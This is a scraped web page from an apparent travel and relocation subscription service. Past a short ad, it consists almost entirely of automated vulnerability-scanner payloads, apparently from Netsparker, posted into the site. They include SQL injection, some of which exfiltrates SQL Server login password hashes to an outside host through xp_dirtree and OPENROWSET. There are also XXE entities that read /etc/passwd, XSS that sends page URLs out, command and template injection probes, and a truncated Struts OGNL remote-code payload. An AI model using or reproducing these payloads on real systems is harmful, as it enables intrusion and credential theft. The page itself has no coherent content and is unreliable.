Follow the stories of academics and their research expeditions
Tired of big travel agencies demanding huge lump-sum payments before you even start your visa or relocation process?
Now you can travel legally, affordably, and in stages through our exclusive Travel Small Small™ Subscription Plan — the smarter, safer way to make your dream of living abroad a reality.
Whether your goal is to study, work, visit, tour or migrate permanently, this plan gives you step-by-step guidance, verified routes and flexible payment options — so you can start now and pay small-small as you go.
Tue, 03 Feb 2026
Tue, 03 Feb 2026
N3tSp4rK3R
Tue, 03 Feb 2026
NS09<s1﹥DBLʺSNGLʹNS09
Tue, 03 Feb 2026
${28275*28275-(94337)}
Tue, 03 Feb 2026
#{28275*28275-(64085)}
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
leo2yix4_dntezkhvy-h4k6y5pfzojawttqc71semis.r87.me
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://leo2yix4"><!ENTITY % d "_dl3q51onvpxn9fwepxbcam5pckodcawhdm.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
http://leo2yix4_df8lo4vipthczi4g2m6ehqyj9ux3grcpix.r87.me/p/
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
hTTp://r87.com/n
Tue, 03 Feb 2026
//leo2yix4_d8ev2up8t2p-qsbmipqvjdnm048tk2zo1e.r87.me
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
php://filter//resource=http://leo2yix4_dk4xahe7gg0p2p5abbs3b3uzh9ecr3sjdb.r87.me/p/
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://leo2yix4"><!ENTITY % d "_dq5jfxgxaeo5en77wsrxgough-xtb6bcmq.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
{{268409241-14159}}
Tue, 03 Feb 2026
http://example.com/? ns: netsparker056650=vuln
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
http://r87.me/r/?id=leo2yix4_deszetbojc0j24l3debdca657ug6a02wjs
Tue, 03 Feb 2026
&thisdoesntexists;
Tue, 03 Feb 2026
leo2yix4_dfuy-bjvqflscysfdo3eledi6bbtakziyp.r87.me/p/
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://leo2yix4"><!ENTITY % d "_dwyjholzug5ap6r29gwrlnnhxuyfupochy.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
=268409241-46626
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
<%- 268409241-55457 %>
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
php://filter//resource=http://r87.com/n?.php
Tue, 03 Feb 2026
'"--></style>[removed][removed][removed]
Tue, 03 Feb 2026
<#assign x=268409241 - 21433> ${x?string["0"]}
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
r87.com/n
Tue, 03 Feb 2026
<iMg xss=removed>
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
<%= "#{268409241-60898}" %>
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
<iMg src="//r87.me/images/1.jpg" xss=removed>
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
<fRame src=N onload="this.onload='';this.src='//leo2yix4_dx1avllzov9imbr1sxyajqykqwxxfft'+'-hg.r87.me/r/?'+location.href">
Tue, 03 Feb 2026
"& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
Tue, 03 Feb 2026
Tue, 03 Feb 2026
N3tSp4rK3R
Tue, 03 Feb 2026
NS09<s1﹥DBLʺSNGLʹNS09
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
${28275*28275-(28481)}
Tue, 03 Feb 2026
[removed][removed]
Tue, 03 Feb 2026
'& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
";l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dqlmpek458hmhfxokarjhnmkfukf6ga"+"5uc.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
#{28275*28275-(10076)}
Tue, 03 Feb 2026
"& SET /A 0xFFF9999-72219 &
Tue, 03 Feb 2026
& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
leo2yix4_dr0rypyme-rj_pviucsompzkqtbpi2rcqw.r87.me
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://leo2yix4"><!ENTITY % d "_d7ikweoojlupepjnwbvyp5jxnxqe7pafom.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
';l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dwy2sk44jgvnueukumrmv-f0haytjlj"+"acu.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
'& SET /A 0xFFF9999-69195 &
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
http://leo2yix4_dz_2dbefklcreouhvulrkvfi_t5df1cgut.r87.me/p/
Tue, 03 Feb 2026
//leo2yix4_d4uqthvtzy1kr4vn9xzilzxtammblypmbs.r87.me
Tue, 03 Feb 2026
http://example.com/? ns: netsparker056650=vuln
Tue, 03 Feb 2026
hTTp://r87.com/n
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://leo2yix4"><!ENTITY % d "_deqqpqz12qiwfh4xgo7zkeiyflttbrasfm.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
"&ping -w 25 127.0.0.1 &"
Tue, 03 Feb 2026
& SET /A 0xFFF9999-26626 &
Tue, 03 Feb 2026
{{268409241-43198}}
Tue, 03 Feb 2026
&thisdoesntexists;
Tue, 03 Feb 2026
php://filter//resource=http://leo2yix4_d_owzegnhnt6k8qvoe8yvkirh18aegz1pp.r87.me/p/
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
http://r87.me/r/?id=leo2yix4_d_qhekkjmqxhf3xhhmtryxym9wmrbmj5ns
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://leo2yix4"><!ENTITY % d "_dl-zfxbezpwsg8qpz8hk9ya6jwqh2xmxsu.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
'&ping -w 25 127.0.0.1 &'
Tue, 03 Feb 2026
=268409241-21264
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
SET /A 0xFFF9999-2312 &
Tue, 03 Feb 2026
leo2yix4_dgqhcnj8qettxootcnzepjcmvibuo6_0uj.r87.me/p/
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
&ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
<%- 268409241-78535 %>
Tue, 03 Feb 2026
SET /A 0xFFF9999-20808
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
'"--></style>[removed][removed][removed]
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
php://filter//resource=http://r87.com/n?.php
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
<#assign x=268409241 - 7437> ${x?string["0"]}
Tue, 03 Feb 2026
| SET /A 0xFFF9999-71854
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
<iMg xss=removed>
Tue, 03 Feb 2026
ping -n 25 127.0.0.1
Tue, 03 Feb 2026
//r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
r87.com/n
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
<%= "#{268409241-52341}" %>
Tue, 03 Feb 2026
1";expr 268409241 - 97101;"
Tue, 03 Feb 2026
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
ping -w 25 127.0.0.1
Tue, 03 Feb 2026
r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
<iMg src="//r87.me/images/1.jpg" xss=removed>
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
1';expr 268409241 - 14753;'
Tue, 03 Feb 2026
"& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
|ping -n 25 127.0.0.1
Tue, 03 Feb 2026
<fRame src=N onload="this.onload='';this.src='//leo2yix4_dljmfqsw7pogw-dnmcn_8ogrxckplkl'+'t_e.r87.me/r/?'+location.href">
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
1;expr 268409241 - 3607;x
Tue, 03 Feb 2026
'& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
r87.com/?https://www.aosacademy.com/
Tue, 03 Feb 2026
[removed][removed]
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Tue, 03 Feb 2026
expr 268409241 - 9885;
Tue, 03 Feb 2026
& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
"& SET /A 0xFFF9999-60540 &
Tue, 03 Feb 2026
/\r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
";l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dqvv8e3k1-pdw6kbde9h0zo7zo9rbqs"+"eam.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Tue, 03 Feb 2026
expr 268409241 - 77076
Tue, 03 Feb 2026
ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
'& SET /A 0xFFF9999-13705 &
Tue, 03 Feb 2026
///r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
exec('xp_dirtree ''\\leo2yix4_dj2efxjtl8ipbvkzzsvnpib6b3u4d8k'+'lum.r87.me'+'\c$\a''')
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
response.write(268409241-92597)'
Tue, 03 Feb 2026
convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Tue, 03 Feb 2026
';l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dsdhzbnbh62u0b7pslbw322qbrcmjb4"+"ykg.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
<!--#exec cmd="expr 268409241 - 7630"-->
Tue, 03 Feb 2026
"&ping -w 25 127.0.0.1 &"
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
<iframe src="http://r87.com/?"></iframe>
Tue, 03 Feb 2026
& SET /A 0xFFF9999-24090 &
Tue, 03 Feb 2026
declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.leo2yix4_d-kd9fzjpy40aqzzgcg59rjqzfmwmha'+'bew.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
Tue, 03 Feb 2026
+response.write(268409241-26517)'
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
|expr${IFS}268409241${IFS}-${IFS}55311
Tue, 03 Feb 2026
'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Tue, 03 Feb 2026
'&ping -w 25 127.0.0.1 &'
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
SET /A 0xFFF9999-31858 &
Tue, 03 Feb 2026
1;exec('xp_dirtree ''\\leo2yix4_dztxngfahy8qj07pld21weyonvuifbg'+'8hk.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
"+response.write(268409241-31470)+"
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
&ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
http://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
-1';exec('xp_dirtree ''\\leo2yix4_de-rxmoylgtnfm7ifvsftq9sdhl9fpe'+'hti.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
SET /A 0xFFF9999-70269
Tue, 03 Feb 2026
<% response.write(268409241-88969) %>
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
Tue, 03 Feb 2026
N3tSp4rK3R
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
https://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
1) exec('xp_dirtree ''\\leo2yix4_djsc_msk2cz0pwv1wct0-ugdddgatr1'+'vyi.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
| SET /A 0xFFF9999-32017
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
${28275*28275-(52474)}
Tue, 03 Feb 2026
NS09<s1﹥DBLʺSNGLʹNS09
Tue, 03 Feb 2026
print(int)0xFFF9999-63037
Tue, 03 Feb 2026
ping -n 25 127.0.0.1
Tue, 03 Feb 2026
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
Tue, 03 Feb 2026
//r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
//r87。com/?
Tue, 03 Feb 2026
1";expr 268409241 - 93317;"
Tue, 03 Feb 2026
1')exec('xp_dirtree ''\\leo2yix4_dgtz8p44ipa4d4ejt56vkelssonn7nw'+'dzc.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
#{28275*28275-(97709)}
Tue, 03 Feb 2026
ping -w 25 127.0.0.1
Tue, 03 Feb 2026
https://www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
print(int)0xFFF9999-54343;
Tue, 03 Feb 2026
' WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))
Tue, 03 Feb 2026
r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
@r87.com
Tue, 03 Feb 2026
1';expr 268409241 - 67118;'
Tue, 03 Feb 2026
1))exec('xp_dirtree ''\\leo2yix4_d8dxq4nv776ugr3r7veaeaokw12ro9v'+'uck.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
leo2yix4_dkx9amhqtivuu2p98csjacvyd_eebvvfsq.r87.me
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
|ping -n 25 127.0.0.1
Tue, 03 Feb 2026
+print(int)0xFFF9999-28287;//
Tue, 03 Feb 2026
www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)
Tue, 03 Feb 2026
1 WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
1;expr 268409241 - 40147;x
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
//leo2yix4_de_s-2csei0zjowf3fgsr-nzjirshxsej0.r87.me
Tue, 03 Feb 2026
1'))exec('xp_dirtree ''\\leo2yix4_dldd4wu2zxkdvxclprwcylkipwzgipc'+'_l4.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
hTTp://r87.com/n
Tue, 03 Feb 2026
http://example.com/? ns: netsparker056650=vuln
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://leo2yix4"><!ENTITY % d "_dlp--3ilafe5occb-0wwiw6nshll6nejjq.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
'+print(int)0xFFF9999-87906+'
Tue, 03 Feb 2026
64.20.35.186/trace.axd
Tue, 03 Feb 2026
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
Tue, 03 Feb 2026
{{268409241-80982}}
Tue, 03 Feb 2026
http://leo2yix4_d3vjeaiz196ijerplttajo22egsahtkprn.r87.me/p/
Tue, 03 Feb 2026
WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
&thisdoesntexists;
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
r87.com/?https://www.aosacademy.com/
Tue, 03 Feb 2026
http://r87.me/r/?id=leo2yix4_d6srnnyyppvr78enkbfx_59u1bdlx8y3fy
Tue, 03 Feb 2026
syscolumns WHERE 2>3;exec('xp_dirtree ''\\leo2yix4_duti26gzudhysw3a_2s6djty2py2icf'+'g28.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
expr 268409241 - 38338;
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://leo2yix4"><!ENTITY % d "_dbfjcv5f3y6hg5kxi8ui-pididfukyebfq.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)
Tue, 03 Feb 2026
"+print(int)0xFFF9999-66508+"
Tue, 03 Feb 2026
127.100.11.2/trace.axd
Tue, 03 Feb 2026
=268409241-75787
Tue, 03 Feb 2026
php://filter//resource=http://leo2yix4_deq4gq2j0rykmhxuxjhy7fthxbhfdn_4n9.r87.me/p/
Tue, 03 Feb 2026
(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Tue, 03 Feb 2026
1) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
/\r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dytlxjurzmvbaglfeyvme5izsbni1lx'+'slk.r87.me')exec sp_executesql @r
Tue, 03 Feb 2026
expr 268409241 - 95159
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://leo2yix4"><!ENTITY % d "_ddnuqv_6nq6yncwyofskrxiok0mdxg8jj8.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
NSFTW
Tue, 03 Feb 2026
<?=(int)0xFFF9999-28532;//?>
Tue, 03 Feb 2026
127.0.0.1/trace.axd
Tue, 03 Feb 2026
<%- 268409241-45933 %>
Tue, 03 Feb 2026
'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Tue, 03 Feb 2026
leo2yix4_d125krgz3scspeky7e1v1mn2btda40soxp.r87.me/p/
Tue, 03 Feb 2026
///r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
') WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_d1afeitxyjkn1l9u50unjwesxp_dv1m'+'jvq.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
exec('xp_dirtree ''\\leo2yix4_d_ilbvmuz-jkijucwzl7lhvjmkv7jnh'+'3se.r87.me'+'\c$\a''')
Tue, 03 Feb 2026
<!--#exec cmd="expr 268409241 - 5900"-->
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
php://filter//resource=http://r87.com/n?.php
Tue, 03 Feb 2026
{php}print(int)0xFFF9999-42893;{/php}
Tue, 03 Feb 2026
'+NSFTW+'
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x174A0E)[removed]
Tue, 03 Feb 2026
<#assign x=268409241 - 76923> ${x?string["0"]}
Tue, 03 Feb 2026
response.write(268409241-48873)'
Tue, 03 Feb 2026
[::1]/trace.axd
Tue, 03 Feb 2026
convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Tue, 03 Feb 2026
<iframe src="http://r87.com/?"></iframe>
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
')) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_do8-xrffr-4sramvia8kcceamz0y-sc'+'dbq.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
|expr${IFS}268409241${IFS}-${IFS}42707
Tue, 03 Feb 2026
declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.leo2yix4_dcc8bqurzqwwkpoaldedpqspewgdjrs'+'6t4.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
Tue, 03 Feb 2026
'"--></style>[removed][removed][removed]
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
'{${print(int)0xFFF9999-14741}}'
Tue, 03 Feb 2026
r87.com/n
Tue, 03 Feb 2026
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x174A81)[removed]
Tue, 03 Feb 2026
'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Tue, 03 Feb 2026
<%= "#{268409241-64432}" %>
Tue, 03 Feb 2026
+response.write(268409241-98683)'
Tue, 03 Feb 2026
www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
https://www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
1)) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
Tue, 03 Feb 2026
SELECT dblink_connect('host=leo2yix4_di8gcllj4vf40f969cy_uovv_5ap1t4'||'qai.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
[php]print(int)0xFFF9999-28370;[/php]
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
<iMg xss=removed>
Tue, 03 Feb 2026
1;exec('xp_dirtree ''\\leo2yix4_dot_yhiv5wmlkow9armrot4ydp19tjr'+'onu.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
[removed]JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MTc0QkJDKTwvc2NyaXB0Pg==
Tue, 03 Feb 2026
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
"+response.write(268409241-6280)+"
Tue, 03 Feb 2026
www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
http://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
Tue, 03 Feb 2026
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='12513').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new 